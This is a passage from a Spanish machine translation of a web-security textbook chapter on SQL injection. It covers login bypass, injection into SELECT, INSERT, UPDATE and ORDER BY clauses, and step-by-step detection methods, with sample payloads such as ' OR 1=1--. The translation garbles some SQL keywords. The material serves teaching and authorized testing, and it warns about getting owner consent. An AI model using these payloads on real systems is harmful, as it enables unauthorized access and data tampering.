conocidas como inyección de código . En cualquier aplicación útil, los datos proporcionados por
el usuario se reciben, manipulan y actúan sobre ellos. Por lo tanto, el código que procesa el
intérprete es una mezcla de las instrucciones escritas por el programador y los datos
proporcionados por el usuario. En algunas situaciones, un atacante puede proporcionar una
entrada manipulada que se sale del contexto de los datos, generalmente proporcionando alguna
sintaxis que tiene un significado especial dentro de la gramática del lenguaje interpretado que
se está utilizando. El resultado es que parte de esta entrada se interpreta como instrucciones
del programa , que se ejecutan de la misma forma que si las hubiera escrito el programador
original. A menudo, por lo tanto, un ataque exitoso compromete por completo el componente
de la aplicación que está siendo atacado.
En los lenguajes compilados nativos, por otro lado, los ataques diseñados para ejecutar
comandos arbitrarios suelen ser muy diferentes. El método de inyección de código normalmente
no aprovecha ninguna característica sintáctica del lenguaje utilizado para desarrollar el programa
de destino, y la carga útil inyectada generalmente contiene código de máquina en lugar de
instrucciones escritas en ese lenguaje. Consulte el Capítulo 16 para obtener detalles sobre los
ataques comunes contra el software compilado nativo.
Omitir un inicio de sesión

El proceso mediante el cual una aplicación accede a un almacén de datos suele ser el mismo,
independientemente de si ese acceso fue activado por las acciones de un usuario sin privilegios
o un administrador de la aplicación. La aplicación web funciona como un control de acceso
discrecional al almacén de datos, construyendo consultas para recuperar, agregar o modificar
datos en el almacén de datos según la cuenta y el tipo del usuario.
Un ataque de inyección exitoso que modifica una consulta (y no solo los datos
Capítulo 9 n Atacar almacenes de datos 289
dentro de la consulta) puede eludir los controles de acceso discrecional de la aplicación

y obtener acceso no autorizado.
Si la lógica de la aplicación sensible a la seguridad está controlada por los resultados de una consulta,
un atacante puede potencialmente modificar la consulta para alterar la lógica de la aplicación. Veamos un
ejemplo típico en el que se consulta un almacén de datos de back-end en busca de registros en una tabla
de usuarios que coincidan con las credenciales proporcionadas por un usuario. Muchas aplicaciones que
implementan una función de inicio de sesión basada en formularios utilizan una base de datos para
almacenar las credenciales de usuario y realizar una consulta SQL simple para validar cada intento de inicio
de sesión. Aquí está un ejemplo típico:
SELECCIONE * DE usuarios DONDE nombre de usuario = 'marcus' y contraseña = 'secreto'
Esta consulta hace que la base de datos verifique cada fila dentro de la tabla de usuarios y extraiga
cada registro donde la columna de nombre de usuario tiene el valor marcus y la columna de contraseña
tiene el valor secreto. Si los detalles de un usuario se devuelven a la aplicación, el intento de inicio de
sesión es exitoso y la aplicación crea una sesión autenticada para ese usuario.
En esta situación, un atacante puede inyectar en el campo de nombre de usuario o contraseña para
modificar la consulta realizada por la aplicación y, por lo tanto, subvertir su lógica. Por ejemplo, si un
atacante sabe que el nombre de usuario del administrador de la aplicación es admin, puede iniciar sesión
como ese usuario proporcionando cualquier contraseña y el siguiente nombre de usuario:
administración'--
Esto hace que la aplicación realice la siguiente consulta:
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin'--' Y contraseña = 'foo'
Tenga en cuenta que la secuencia de comentarios (--) hace que se ignore el resto de
la consulta , por lo que la consulta ejecutada es equivalente a:
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin'
por lo que se omite la verificación de contraseña.
¡INTENTALO!
Supongamos que el atacante no conoce el nombre de usuario del administrador. En la

mayoría de las aplicaciones, la primera cuenta en la base de datos es un usuario
administrativo, porque esta cuenta normalmente se crea manualmente y luego se usa para generar
todas las demás cuentas a través de la aplicación. Además, si la consulta devuelve los detalles de
más de un usuario, la mayoría de las aplicaciones simplemente procesarán al primer usuario cuyos
detalles se devuelvan. Un atacante a menudo puede explotar este comportamiento para iniciar
sesión como el primer usuario en la base de datos proporcionando el nombre de usuario:
' O 1=1--
Esto hace que la aplicación realice la consulta:
SELECCIONE * DE usuarios DONDE nombre de usuario = '' O 1=1--' Y contraseña = 'foo'
Debido al símbolo de comentario, esto es equivalente a:
SELECCIONE * DE usuarios DONDE nombre de usuario = '' O 1=1
que devuelve los detalles de todos los usuarios de la aplicación.
NOTA Inyectar en un contexto interpretado para alterar la lógica de la aplicación es

una técnica de ataque genérica. Una vulnerabilidad correspondiente podría surgir en
consultas LDAP, consultas XPath, implementaciones de colas de mensajes o, de hecho,
cualquier lenguaje de consulta personalizado.
PASOS DE HACK
La inyección en lenguajes interpretados es un tema amplio, que abarca muchos tipos

diferentes de vulnerabilidades y que potencialmente afecta a todos los componentes de la
infraestructura de soporte de una aplicación web. Los pasos detallados para detectar y explotar
las fallas de inyección de código dependen del lenguaje de destino y de las técnicas de
programación empleadas por los desarrolladores de la aplicación. En todos los casos, sin embargo,
el enfoque genérico es el siguiente:
1. Proporcione una sintaxis inesperada que pueda causar problemas dentro del contexto del
lenguaje interpretado en particular.
2. Identificar cualquier anomalía en la respuesta de la aplicación que pueda indicar la

presencia de una vulnerabilidad de inyección de código.
3. Si recibe algún mensaje de error, examínelo para obtener evidencia

sobre el problema que ocurrió en el servidor.
4. Si es necesario, modifique sistemáticamente su entrada inicial de manera relevante en un

intento de confirmar o refutar su diagnóstico tentativo de una vulnerabilidad.
5. Construya una prueba de concepto que haga que se ejecute un comando seguro de
manera verificable, para demostrar de manera concluyente que existe una falla de
inyección de código explotable.
6. Explotar la vulnerabilidad aprovechando la funcionalidad del idioma de destino y el

componente para lograr sus objetivos.
Inyectando en SQL
Casi todas las aplicaciones web emplean una base de datos para almacenar los diversos tipos
de información que necesitan para funcionar. Por ejemplo, una aplicación web implementada por
un minorista en línea podría usar una base de datos para almacenar la siguiente información:
Cuentas de usuario, credenciales e información personal Descripciones y precios de los
productos a la venta Pedidos , estados de cuenta y detalles de pago Los privilegios de cada
usuario dentro de la aplicación
El medio para acceder a la información dentro de la base de datos es el lenguaje de consulta

estructurado (SQL). SQL se puede usar para leer, actualizar, agregar y eliminar información
contenida en la base de datos.
SQL es un lenguaje interpretado y las aplicaciones web comúnmente construyen declaraciones
SQL que incorporan datos proporcionados por el usuario. Si esto se hace de forma no segura ,
la aplicación puede ser vulnerable a la inyección SQL. Esta falla es una de las vulnerabilidades
más notorias que han afectado a las aplicaciones web. En los casos más graves, la inyección
SQL puede permitir que un atacante anónimo lea y modifique todos los datos almacenados en
la base de datos e incluso tome el control total del servidor en el que se ejecuta la base de datos.
A medida que ha evolucionado la concienciación sobre la seguridad de las aplicaciones web,

las capacidades de las vulnerabilidades de inyección SQL se han vuelto gradualmente menos
generalizadas y más difíciles de detectar y explotar. Muchas aplicaciones modernas evitan la
inyección SQL empleando API que, si se usan correctamente, son intrínsecamente seguras
contra los ataques de inyección SQL. En estas circunstancias, la inyección SQL suele ocurrir en
los casos ocasionales en los que no se pueden aplicar estos mecanismos de defensa. Encontrar
inyección de SQL es a veces una tarea difícil, que requiere perseverancia para localizar una o
dos instancias en una aplicación donde no se han aplicado los controles habituales.
A medida que se ha desarrollado esta tendencia, los métodos para encontrar y explotar fallas
de inyección de SQL han evolucionado, utilizando indicadores más sutiles de vulnerabilidades y
técnicas de explotación más refinadas y poderosas. Comenzaremos examinando los casos más
básicos y luego pasaremos a describir las últimas técnicas para la detección y explotación ciegas.
Se emplea una amplia gama de bases de datos para admitir aplicaciones web. Aunque los
fundamentos de la inyección de SQL son comunes a la gran mayoría de estos, existen muchas
diferencias. Estos van desde variaciones menores en la sintaxis hasta divergencias significativas
en el comportamiento y la funcionalidad que pueden afectar los tipos de ataques que puede
realizar. Por razones de espacio y cordura, restringiremos nuestros ejemplos a las tres bases de
datos más comunes que probablemente encontrará: Oracle, MS-SQL y MySQL. Siempre que
corresponda, llamaremos la atención sobre las diferencias entre estas tres plataformas. Equipado
con las técnicas que describimos aquí,
Debería poder identificar y explotar fallas de inyección de SQL contra cualquier otra
base de datos realizando una investigación adicional rápida.
SUGERENCIA En muchas situaciones, le resultará extremadamente útil tener

acceso a una instalación local de la misma base de datos que utiliza la aplicación
a la que se dirige. A menudo encontrará que necesita modificar una parte de la
sintaxis, o consultar una tabla o función integrada, para lograr sus objetivos. Las
respuestas que recibe de la aplicación de destino a menudo serán incompletas o
crípticas, lo que requerirá un poco de trabajo de detective para comprenderlas.
Todo esto es mucho más fácil si puede hacer una referencia cruzada con una
versión de trabajo totalmente transparente de la base de datos en cuestión.
Si esto no es factible, una buena alternativa es encontrar un entorno
interactivo en línea adecuado en el que pueda experimentar, como los
tutoriales interactivos en SQLzoo.net.
Explotación de una vulnerabilidad básica

Considere una aplicación web implementada por una librería que permite a los usuarios
buscar productos por autor, título, editor, etc. Todo el catálogo de libros se mantiene dentro
de una base de datos y la aplicación utiliza consultas SQL para recuperar detalles de
diferentes libros en función de los términos de búsqueda proporcionados por los usuarios.
Cuando un usuario busca todos los libros publicados por Wiley, la aplicación realiza la
siguiente consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'Wiley' y publicado = 1
Esta consulta hace que la base de datos verifique cada fila dentro de la tabla de libros,
extraiga cada uno de los registros donde la columna editor tiene el valor Wiley y publicado
tiene el valor 1, y devuelve el conjunto de todos estos registros. Luego, la aplicación
procesa este conjunto de registros y se lo presenta al usuario dentro de una página HTML.
En esta consulta, las palabras a la izquierda del signo igual son palabras clave de SQL y
los nombres de tablas y columnas dentro de la base de datos. Esta parte de la consulta fue
construida por el programador cuando se creó la aplicación. La expresión Wiley la proporciona
el usuario y su significado es como un elemento de datos. Los datos de cadena en las
consultas SQL se deben encapsular entre comillas simples para separarlos del resto de la
consulta.
Ahora, considere lo que sucede cuando un usuario busca todos los libros publicados
por O´Reilly. Esto hace que la aplicación realice la siguiente consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'O'Reilly' y publicado = 1
Capítulo 9n Atacar almacenes de datos 293
En este caso, el intérprete de consultas llega a los datos de la cadena de la

misma manera que antes. Analiza estos datos, que están encapsulados entre
comillas simples, y obtiene el valor O. Luego encuentra la expresión Reilly', que
no es una sintaxis SQL válida y, por lo tanto, genera un error:
Sintaxis incorrecta cerca de 'Reilly'.

Servidor: Mensaje 105, Nivel 15, Estado 1, Línea 1 Comillas sin
cerrar antes de la cadena de caracteres '
Cuando una aplicación se comporta de esta manera, está completamente abierta a la inyección SQL.
Un atacante puede proporcionar una entrada que contenga comillas para terminar la
cadena que controla. Luego, puede escribir SQL arbitrario para modificar la consulta que
el desarrollador pretendía que ejecutara la aplicación. En esta situación, por ejemplo, el
atacante puede modificar la consulta para devolver todos los libros del catálogo del
minorista ingresando este término de búsqueda:
Wiley' O 1=1--
SELECCIONE autor, título, año DESDE libros DONDE editor = 'Wiley' O

1=1--' y publicado=1
Esto modifica la cláusula WHERE de la consulta del desarrollador para agregar una
segunda condición. La base de datos verifica cada fila en la tabla de libros y extrae cada
registro donde la columna del editor tiene el valor Wiley o donde 1 es igual a 1. Debido a
que 1 siempre es igual a 1, la base de datos devuelve cada registro en la tabla de libros.
El doble guión en la entrada del atacante es una expresión significativa en SQL que le
dice al intérprete de consultas que el resto de la línea es un comentario y debe ignorarse.
Este truco es extremadamente útil en algunos ataques de inyección SQL, ya que le
permite ignorar el resto de la consulta creada por el desarrollador de la aplicación. En el
ejemplo, la aplicación encapsula la cadena proporcionada por el usuario entre comillas
simples. Debido a que el atacante terminó la cadena que controla e inyectó algo de SQL
adicional, necesita manejar las comillas finales para evitar un error de sintaxis, como en el
ejemplo de O'Reilly. Lo logra agregando un guión doble, lo que hace que el resto de la
consulta se trate como un comentario. En MySQL, debe incluir un espacio después del
doble guión o usar un carácter hash para especificar un comentario.
La consulta original también controlaba el acceso solo a libros publicados, porque

especificó y publicó = 1. Al inyectar la secuencia de comentarios, el atacante obtuvo
acceso no autorizado al devolver detalles de todos los libros, publicados o no.
SUGERENCIA En algunas situaciones, una forma alternativa de manejar las

comillas finales sin usar el símbolo de comentario es "equilibrar las comillas".
Termina la entrada inyectada con un elemento de datos de cadena que requiere
una comilla final para encapsularlo. Por ejemplo, ingresando el término de búsqueda:
Wiley' O 'a' = 'a
da como resultado la consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'Wiley' O
'a'='a' y publicado=1
Esto es perfectamente válido y logra el mismo resultado que el ataque 1 = 1 a

devolver todos los libros publicados por Wiley, independientemente de si han sido
publicados.
Este ejemplo muestra cómo se puede eludir la lógica de la aplicación, lo que permite una
falla de control de acceso en la que el atacante puede ver todos los libros, no solo los libros
que coinciden con el filtro permitido (mostrando libros publicados). Sin embargo, describiremos
en breve cómo las fallas de inyección de SQL como esta pueden usarse para extraer datos
arbitrarios de diferentes tablas de bases de datos y escalar privilegios dentro de la base de
datos y el servidor de la base de datos. Por esta razón, cualquier vulnerabilidad de inyección
SQL debe considerarse extremadamente grave, independientemente de su contexto preciso
dentro de la funcionalidad de la aplicación.
Inyectar en diferentes tipos de declaraciones

El lenguaje SQL contiene una serie de verbos que pueden aparecer al comienzo de las
declaraciones. Debido a que es el verbo más utilizado, la mayoría de las vulnerabilidades de
inyección SQL surgen dentro de las declaraciones SELECT . De hecho, las discusiones
sobre la inyección de SQL a menudo dan la impresión de que la vulnerabilidad ocurre solo
en relación con las declaraciones SELECT , porque los ejemplos utilizados son todos de este
tipo. Sin embargo, las fallas de inyección SQL pueden existir dentro de cualquier tipo de
declaración. Debe ser consciente de algunas consideraciones importantes en relación con cada uno.
Por supuesto, cuando está interactuando con una aplicación remota, por lo general no es
posible saber de antemano qué tipo de declaración será procesada por un elemento
determinado de la entrada del usuario. Sin embargo, por lo general puede hacer una conjetura
basada en el tipo de función de la aplicación con la que está tratando. Aquí se describen los
tipos más comunes de sentencias SQL y sus usos.
Instrucciones SELECCIONAR
Las declaraciones SELECT se utilizan para recuperar información de la base de datos. Se

emplean con frecuencia en funciones en las que la aplicación devuelve información en
respuesta a las acciones del usuario, como explorar un catálogo de productos, ver el
perfil, o realizando una búsqueda. También se utilizan a menudo en funciones de inicio de sesión en las
que la información proporcionada por el usuario se compara con los datos recuperados de una base de datos.
Como en los ejemplos anteriores, el punto de entrada para los ataques de inyección SQL
normalmente es la cláusula WHERE de la consulta. Los elementos proporcionados por el usuario
se pasan a la base de datos para controlar el alcance de los resultados de la consulta. Debido a
que la cláusula WHERE suele ser el componente final de una declaración SELECT , esto permite
que el atacante use el símbolo de comentario para truncar la consulta hasta el final de su entrada
sin invalidar la sintaxis de la consulta general.
Ocasionalmente, se producen vulnerabilidades de inyección SQL que afectan a otras partes de
la consulta SELECT , como la cláusula ORDER BY o los nombres de tablas y columnas.
¡INTENTALO!
http://mdsec.net/libro de direcciones/32/
INSERTAR declaraciones
Las declaraciones INSERT se utilizan para crear una nueva fila de datos dentro de una tabla. Se
usan comúnmente cuando una aplicación agrega una nueva entrada a un registro de auditoría,
crea una nueva cuenta de usuario o genera una nueva orden.
Por ejemplo, una aplicación puede permitir que los usuarios se autorregistren, especificando su
propio nombre de usuario y contraseña, y luego puede insertar los detalles en la tabla de usuarios
con la siguiente declaración:
INSERTAR EN usuarios (nombre de usuario, contraseña, ID, privs) VALORES ('daf',

'secreto', 2248, 1)
Si el campo de nombre de usuario o contraseña es vulnerable a la inyección SQL, un

atacante puede insertar datos arbitrarios en la tabla, incluidos sus propios valores de ID y privilegios.
Sin embargo, para hacerlo debe asegurarse de que el resto de la cláusula VALUES se complete
correctamente. En particular, debe contener el número correcto de elementos de datos de los tipos
correctos. Por ejemplo, al inyectar en el campo de nombre de usuario , el atacante puede
proporcionar lo siguiente:
foo', 'barra', 9999, 0)--
Esto crea una cuenta con una ID de 9999 y privilegios de 0. Suponiendo que el campo de
privilegios se usa para determinar los privilegios de la cuenta, esto puede permitir que el atacante
para crear un usuario administrativo.
En algunas situaciones, cuando se trabaja completamente a ciegas, la inyección en una
declaración INSERT puede permitir que un atacante extraiga datos de cadena de la aplicación.
Por ejemplo, el atacante podría tomar la cadena de la versión de la base de datos e insertarla en
un campo dentro de su propio perfil de usuario, que se puede mostrar en su navegador de la forma
habitual.
SUGERENCIA Al intentar inyectar en una declaración INSERT, es posible que

no sepa de antemano cuántos parámetros se requieren o cuáles son sus
tipos. En la situación anterior, puede seguir agregando campos a la cláusula
VALUES hasta que se cree realmente la cuenta de usuario deseada. Por
ejemplo, al inyectar en el campo de nombre de usuario, podría enviar lo siguiente:
Foo')--
foo', 1)-- foo', 1,
1)-- foo', 1, 1, 1)--
Debido a que la mayoría de las bases de datos convierten implícitamente un entero en

una cadena, se puede usar un valor entero en cada posición. En este caso, el resultado es
una cuenta con el nombre de usuario foo y la contraseña 1, independientemente del orden
en que se encuentren los demás campos.
Si encuentra que el valor 1 todavía es rechazado, puede probar con el valor 2000,
que muchas bases de datos también convierten implícitamente en tipos de datos basados en fechas.
Cuando haya determinado el número correcto de campos después de la inyección
punto de inferencia, en MS-SQL puede agregar una segunda consulta arbitraria y utilizar una
de las técnicas basadas en inferencias que se describen más adelante en este capítulo.
En Oracle, se puede emitir una consulta de subselección dentro de una consulta de
inserción. Esta consulta de subselección puede provocar el éxito o el fracaso de la consulta
principal, utilizando las técnicas basadas en inferencias que se describen más adelante.
¡INTENTALO!
ACTUALIZAR declaraciones
Las instrucciones UPDATE se utilizan para modificar una o más filas de datos existentes
dentro de una tabla. A menudo se utilizan en funciones en las que un usuario cambia el
valor de los datos que ya existen, por ejemplo, actualizando su información de contacto,
cambiando su contraseña o cambiando la cantidad en una línea de un pedido.
Una instrucción UPDATE típica funciona de manera muy similar a una instrucción INSERT ,
excepto que normalmente contiene una cláusula WHERE para indicarle a la base de datos qué
filas de la tabla debe actualizar. Por ejemplo, cuando un usuario cambia su contraseña, la
aplicación puede realizar la siguiente consulta:
ACTUALIZAR usuarios SET contraseña = 'newsecret' WHERE usuario = 'marcus' y contraseña

= 'secreto'
En efecto, esta consulta verifica si la contraseña existente del usuario es correcta y, de ser
así, la actualiza con el nuevo valor. Si la función es vulnerable a SQL
inyección, un atacante puede omitir la verificación de contraseña existente y actualizar la

contraseña del usuario administrador ingresando el siguiente nombre de usuario:
administración'--
NOTA Buscar vulnerabilidades de inyección de SQL en una aplicación

remota siempre es potencialmente peligroso, porque no tiene forma de
saber de antemano qué acción realizará la aplicación utilizando su entrada
manipulada. En particular, la modificación de la cláusula WHERE en una
instrucción UPDATE puede hacer que se realicen cambios en una tabla crítica
de la base de datos. Por ejemplo, si el ataque que acabamos de describir hubiera proporcionado el no
administrador' o 1=1--
esto haría que la aplicación ejecutara la consulta:
ACTUALIZAR usuarios SET contraseña = 'nuevo secreto' DONDE usuario = 'admin' o

1=1
Esto restablece el valor de la contraseña de cada usuario, ¡porque 1 siempre es igual a 1!

Tenga en cuenta que este riesgo existe incluso cuando ataca una función de la
aplicación que no parece actualizar ningún dato existente, como el inicio de sesión principal.
Ha habido casos en los que, luego de un inicio de sesión exitoso, la aplicación realiza
varias consultas de ACTUALIZACIÓN utilizando el nombre de usuario proporcionado. Esto
significa que cualquier ataque a la cláusula WHERE puede replicarse en estas otras
declaraciones, causando estragos en los perfiles de todos los usuarios de la aplicación.
Debe asegurarse de que el propietario de la aplicación acepte estos riesgos inevitables antes
de intentar investigar o explotar cualquier falla de inyección SQL. También debe recomendar
encarecidamente al propietario que realice una copia de seguridad completa de la base de
datos antes de comenzar la prueba.
¡INTENTALO!
DELETE Declaraciones
Las declaraciones DELETE se utilizan para eliminar una o más filas de datos dentro de una
tabla, como cuando los usuarios eliminan un artículo de su carrito de compras o eliminan
una dirección de entrega de sus datos personales.
Al igual que con las declaraciones UPDATE , normalmente se usa una cláusula WHERE para
decirle a la base de datos qué filas de la tabla actualizar. Es muy probable que los datos
proporcionados por el usuario se incorporen a esta cláusula. Subvertir la cláusula WHERE prevista puede tener
efectos de gran alcance, por lo que la misma precaución descrita para las declaraciones UPDATE se
aplica a este ataque.
Encontrar errores de inyección de SQL
En los casos más obvios, una falla de inyección de SQL puede descubrirse y verificarse de
manera concluyente al proporcionar un único elemento de entrada inesperado a la aplicación.
En otros casos, los errores pueden ser extremadamente sutiles y pueden ser difíciles de
distinguir de otras categorías de vulnerabilidad o de anomalías benignas que no representan
una amenaza para la seguridad. No obstante, puedes realizar varios pasos de forma
ordenada para verificar de forma fiable la mayoría de fallos de inyección SQL.
NOTA En sus ejercicios de asignación de aplicaciones (consulte el Capítulo 4), debe haber
identificado instancias en las que la aplicación parece estar accediendo a una base de
datos de back-end. Todos estos deben ser probados en busca de fallas de inyección de
SQL. De hecho, absolutamente cualquier elemento de datos enviado al servidor puede
pasarse a las funciones de la base de datos de maneras que no son evidentes desde la
perspectiva del usuario y puede manejarse de manera insegura. Por lo tanto, debe sondear
cada elemento de este tipo en busca de vulnerabilidades de inyección de SQL. Esto
incluye todos los parámetros de URL, cookies, elementos de datos POST y encabezados
HTTP. En todos los casos, puede existir una vulnerabilidad en el manejo tanto del nombre como del valor del parámetro
SUGERENCIA Cuando busque vulnerabilidades de inyección SQL, asegúrese de

recorrer hasta completar cualquier proceso de varias etapas en el que envíe información
manipulada. Las aplicaciones recopilan con frecuencia una colección de datos a través
de varias solicitudes y la conservan en la base de datos solo después de que se haya
recopilado el conjunto completo. En esta situación, perderá muchas vulnerabilidades de
inyección SQL si solo envía datos elaborados dentro de cada solicitud individual y
supervisa la respuesta de la aplicación a esa solicitud.
Inyectar datos en cadenas

Cuando los datos de cadena proporcionados por el usuario se incorporan a una consulta
SQL, se encapsulan entre comillas simples. Para explotar cualquier falla de inyección de
SQL, debe romper estas comillas.
PASOS DE HACK
1. Envíe una comilla simple como elemento de datos al que se dirige.

Observe si se produce un error o si el resultado difiere del original en
algún otro aspecto. Si recibe un mensaje de error detallado de la base de
datos, consulte la sección "Sintaxis SQL y referencia de errores" de este
capítulo para comprender su significado.
2. Si se observó un error u otro comportamiento divergente, envíe dos comillas

simples juntas. Las bases de datos utilizan dos comillas simples como secuencia
de escape para representar una comilla simple literal, por lo que la secuencia se
interpreta como datos dentro de la cadena entrecomillada en lugar del terminador
de cadena de cierre. Si esta entrada hace que desaparezca el error o el
comportamiento anómalo, es probable que la aplicación sea vulnerable a la inyección SQL.
3. Como verificación adicional de que hay un error, puede usar SQL concat
enator caracteres para construir una cadena que sea equivalente a alguna
entrada benigna. Si la aplicación maneja su entrada manipulada de la misma
manera que lo hace con la entrada benigna correspondiente, es probable que
sea vulnerable. Cada tipo de base de datos utiliza diferentes métodos para la
concatenación de cadenas. Los siguientes ejemplos se pueden inyectar para
construir una entrada equivalente a FOO en una aplicación vulnerable: n Oracle:
'||'FOO
n MS-SQL: '+'FOO
n MySQL: ' 'FOO (tenga en cuenta el espacio entre las dos comillas)
SUGERENCIA Una forma de confirmar que la aplicación está interactuando con una
base de datos de back-end es enviar el carácter comodín de SQL % en un parámetro determinado.
Por ejemplo, enviar esto en un campo de búsqueda a menudo devuelve una gran
cantidad de resultados, lo que indica que la entrada se está pasando a una consulta
SQL. Por supuesto, esto no indica necesariamente que la aplicación sea vulnerable, solo
que debe investigar más a fondo para identificar cualquier falla real.
SUGERENCIA Mientras busca la inyección SQL usando una comilla simple,

esté atento a cualquier error de JavaScript que ocurra cuando su navegador
procese la página devuelta. Es bastante común que la entrada proporcionada por
el usuario se devuelva dentro de JavaScript, y una comilla simple sin desinfectar
causará un error en el intérprete de JavaScript, tal como lo hace en el intérprete de
SQL. La capacidad de inyectar JavaScript arbitrario en las respuestas permite ataques
de secuencias de comandos entre sitios, como se describe en el Capítulo 12.
Inyectar datos numéricos

Cuando los datos numéricos proporcionados por el usuario se incorporan a una consulta
SQL, la aplicación aún puede manejarlos como datos de cadena encapsulándolos entre
comillas simples. Por lo tanto, siempre debe seguir los pasos descritos anteriormente para
datos de cadena. Sin embargo, en la mayoría de los casos, los datos numéricos se pasan
directamente a la base de datos en forma numérica y, por lo tanto, no se colocan entre
comillas simples. Si ninguna de las pruebas anteriores apunta a la presencia de una
vulnerabilidad, puede tomar otros pasos específicos en relación con los datos numéricos.
PASOS DE HACK
1. Intente proporcionar una expresión matemática simple que sea equivalente al valor
numérico original. Por ejemplo, si el valor original es 2, intente enviar 1+1 o 3-1. Si
la aplicación responde de la misma manera, puede ser vulnerable.
2. La prueba anterior es más confiable en los casos en los que ha confirmado que el
elemento que se modifica tiene un efecto notable en el comportamiento de la
aplicación. Por ejemplo, si la aplicación usa un parámetro PageID numérico para
especificar qué contenido debe devolverse, sustituir 1+1 por 2 con resultados
equivalentes es una buena señal de que la inyección SQL está presente.
Sin embargo, si puede colocar una entrada arbitraria en un parámetro numérico
sin cambiar el comportamiento de la aplicación, la prueba anterior no proporciona
evidencia de una vulnerabilidad.
3. Si la primera prueba es exitosa, puede obtener más evidencia de la vulnera

bilidad mediante el uso de expresiones más complicadas que usan sintaxis y palabras
clave específicas de SQL. Un buen ejemplo de esto es el comando ASCII, que devuelve
el código ASCII numérico del carácter proporcionado. Por ejemplo, debido a que el
valor ASCII de A es 65, la siguiente expresión es equivalente a 2 en SQL:
67-ASCII('A')
4. La prueba anterior no funcionará si se filtran las comillas simples.

Sin embargo, en esta situación puede aprovechar el hecho de que las bases de
datos convierten implícitamente los datos numéricos en datos de cadena cuando
sea necesario. Por lo tanto, debido a que el valor ASCII del carácter 1 es 49, la
siguiente expresión es equivalente a 2 en SQL:
51-ASCII(1)
SUGERENCIA Un error común al probar una aplicación en busca de defectos como la

inyección SQL es olvidar que ciertos caracteres tienen un significado especial dentro de
las solicitudes HTTP. Si desea incluir estos caracteres dentro de las cargas útiles de su
ataque, debe tener cuidado de codificarlos en URL para asegurarse de que se interpreten
de la manera que desea. En particular:
n & y = se utilizan para unir pares de nombre/valor para crear la cadena de consulta y
el bloque de datos POST. Debe codificarlos usando %26 y %3d, respectivamente.
n No se permiten espacios literales en la cadena de consulta. Si se envían, terminarán

efectivamente la cadena completa. Debe codificarlos usando + o %20.
n Debido a que + se usa para codificar espacios, si desea incluir un + real en su

cadena, debe codificarlo usando %2b. En el ejemplo numérico anterior, por lo
tanto, 1+1 debe enviarse como 1%2b1.
n El punto y coma se usa para separar campos de cookies y debe codificarse

utilizando %3b.
Estas codificaciones son necesarias ya sea que esté editando el valor del parámetro directamente
desde su navegador, con un proxy de interceptación o por cualquier otro medio. Si no codifica
correctamente los caracteres problemáticos, puede invalidar toda la solicitud o enviar datos que no tenía
previsto enviar.
Los pasos que se acaban de describir generalmente son suficientes para identificar la
mayoría de las vulnerabilidades de inyección SQL, incluidas muchas de aquellas en las que
no se transmiten resultados útiles o información de error al navegador. En algunos casos, sin
embargo, pueden ser necesarias técnicas más avanzadas, como el uso de retardos de tiempo
para confirmar la presencia de una vulnerabilidad. Describiremos estas técnicas más adelante
en este capítulo.
Inyectar en la estructura de consulta

Si los datos proporcionados por el usuario se insertan en la estructura de la consulta SQL en
sí, en lugar de un elemento de datos dentro de la consulta, explotar la inyección SQL
simplemente implica proporcionar directamente una sintaxis SQL válida. No se requiere
"escapar" para salir de cualquier contexto de datos.
El punto de inyección más común dentro de la estructura de consulta SQL está dentro de
una cláusula ORDER BY . La palabra clave ORDER BY toma un nombre o número de columna
y ordena el conjunto de resultados según los valores de esa columna. Esta funcionalidad se
expone con frecuencia al usuario para permitir la clasificación de una tabla dentro del navegador.
Un ejemplo típico es una tabla clasificable de libros que se recupera mediante esta consulta:
SELECCIONE autor, título, año DESDE libros DONDE editorial = 'Wiley' ORDENAR POR título ASC
Si el título del nombre de la columna en ORDER BY es especificado por el usuario, no es

necesario usar una comilla simple. Los datos proporcionados por el usuario ya modifican
directamente la estructura de la consulta SQL.
SUGERENCIA En algunos casos más raros, la entrada proporcionada por el usuario puede especificar
un nombre de columna dentro de una cláusula WHERE. Debido a que estos tampoco están
encapsulados entre comillas simples, ocurre un problema similar. Los autores también han encontrado
aplicaciones en las que el nombre de la tabla ha sido un parámetro proporcionado por el usuario. Por último,
una cantidad sorprendente de aplicaciones exponen la palabra clave de orden de clasificación (ASC o DESC)
para que la especifique el usuario, tal vez creyendo que esto no tiene consecuencias para los ataques de
inyección SQL.
Encontrar una inyección SQL en un nombre de columna puede ser difícil. Si se

proporciona un valor que no es un nombre de columna válido, la consulta genera un
error. Esto significa que la respuesta será la misma independientemente de si el atacante envía una
cadena transversal de ruta, comillas simples, comillas dobles o cualquier otra cadena arbitraria.
Por lo tanto, es probable que las técnicas comunes tanto para el fuzzing automatizado como
para las pruebas manuales pasen por alto la vulnerabilidad. Las cadenas de prueba estándar
para numerosos tipos de vulnerabilidades generarán la misma respuesta, lo que puede no
revelar la naturaleza del error.
NOTA Algunas defensas de inyección SQL convencionales descritas más adelante

en este capítulo no se pueden implementar para nombres de columna especificados
por el usuario. El uso de sentencias preparadas o el escape de comillas simples no
evitará este tipo de inyección SQL. Como resultado, este vector es clave a tener en
cuenta en las aplicaciones modernas.
PASOS DE HACK
1. Tome nota de los parámetros que aparecen para controlar el orden o los tipos de
campo dentro de los resultados que devuelve la aplicación.
2. Realice una serie de solicitudes proporcionando un valor numérico en el valor del

parámetro, comenzando con el número 1 e incrementándolo con cada solicitud
subsiguiente: n Si cambiar el número en la entrada afecta el orden de los
resultados, es probable que la entrada esté siendo insertado en una cláusula ORDER
BY. En SQL, ORDER BY 1 ordena por la primera columna. Aumentar este número a
2 debería cambiar el orden de visualización de los datos para ordenar por la
segunda columna. Si el número proporcionado es mayor que el número de columnas
en el conjunto de resultados, la consulta debería fallar. En esta situación, puede
confirmar que se puede inyectar más SQL al verificar si el orden de los resultados
se puede invertir, usando lo siguiente:
1 ASC --
1 DESC --
n Si proporcionar el número 1 genera un conjunto de resultados con una columna que

contiene un 1 en cada fila, es probable que la entrada se inserte en el nombre de
una columna que devuelve la consulta. Por ejemplo: SELECCIONE 1,título,año
DESDE libros DONDE editor='Wiley'
NOTA Explotar la inyección SQL en una cláusula ORDER BY es significativamente

diferente de la mayoría de los otros casos. Una base de datos no aceptará una palabra
clave UNION, WHERE, OR o AND en este punto de la consulta. Por lo general, la
explotación requiere que el atacante especifique una consulta anidada en lugar del
